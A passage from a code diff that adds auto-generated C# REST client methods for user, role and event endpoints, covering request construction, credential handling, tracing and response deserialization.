_httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task>> ApiUsersRolesGetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiUsersRolesGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/users/roles").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse>(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject>(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// Thrown when a required parameter is null + /// + /// + /// Thrown when a required parameter is null + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task>> ApiUsersByUidRolesGetWithHttpMessagesAsync(string uid, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + if (uid == null) + { + throw new ValidationException(ValidationRules.CannotBeNull, "uid"); + } + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("uid", uid); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiUsersByUidRolesGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/users/{uid}/roles").ToString(); + _url = _url.Replace("{uid}", System.Uri.EscapeDataString(uid)); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse>(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject>(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// Thrown when a required parameter is null + /// + /// + /// Thrown when a required parameter is null + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiUsersByUidRolesByRidGetWithHttpMessagesAsync(string uid, string rid, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + if (uid == null) + { + throw new ValidationException(ValidationRules.CannotBeNull, "uid"); + } + if (rid == null) + { + throw new ValidationException(ValidationRules.CannotBeNull, "rid"); + } + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("uid", uid); + tracingParameters.Add("rid", rid); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiUsersByUidRolesByRidGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/users/{uid}/roles/{rid}").ToString(); + _url = _url.Replace("{uid}", System.Uri.EscapeDataString(uid)); + _url = _url.Replace("{rid}", System.Uri.EscapeDataString(rid)); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// Thrown when a required parameter is null + /// + /// + /// Thrown when a required parameter is null + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiUsersByUidRolesByRidPostWithHttpMessagesAsync(string uid, string rid, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + if (uid == null) + { + throw new ValidationException(ValidationRules.CannotBeNull, "uid"); + } + if (rid == null) + { + throw new ValidationException(ValidationRules.CannotBeNull, "rid"); + } + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("uid", uid); + tracingParameters.Add("rid", rid); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiUsersByUidRolesByRidPost", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/users/{uid}/roles/{rid}").ToString(); + _url = _url.Replace("{uid}", System.Uri.EscapeDataString(uid)); + _url = _url.Replace("{rid}", System.Uri.EscapeDataString(rid)); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("POST"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 201) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 201) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when a required parameter is null + /// + /// + /// Thrown when a required parameter is null + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task ApiUsersByUidRolesByRidDeleteWithHttpMessagesAsync(string uid, string rid, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + if (uid == null) + { + throw new ValidationException(ValidationRules.CannotBeNull, "uid"); + } + if (rid == null) + { + throw new ValidationException(ValidationRules.CannotBeNull, "rid"); + } + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("uid", uid); + tracingParameters.Add("rid", rid); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiUsersByUidRolesByRidDelete", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/users/{uid}/roles/{rid}").ToString(); + _url = _url.Replace("{uid}", System.Uri.EscapeDataString(uid)); + _url = _url.Replace("{rid}", System.Uri.EscapeDataString(rid)); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("DELETE"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 204) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task>> ApiRolesGetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiRolesGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/roles").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse>(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject>(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// Thrown when a required parameter is null + /// + /// + /// Thrown when a required parameter is null + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiRolesByRidGetWithHttpMessagesAsync(string rid, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + if (rid == null) + { + throw new ValidationException(ValidationRules.CannotBeNull, "rid"); + } + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("rid", rid); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiRolesByRidGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/roles/{rid}").ToString(); + _url = _url.Replace("{rid}", System.Uri.EscapeDataString(rid)); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task>> ApiEventsGetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiEventsGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Events").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse>(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject>(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiEventsPostWithHttpMessagesAsync(EventModel anEvent = default(EventModel), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("anEvent", anEvent); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiEventsPost", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Events").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + 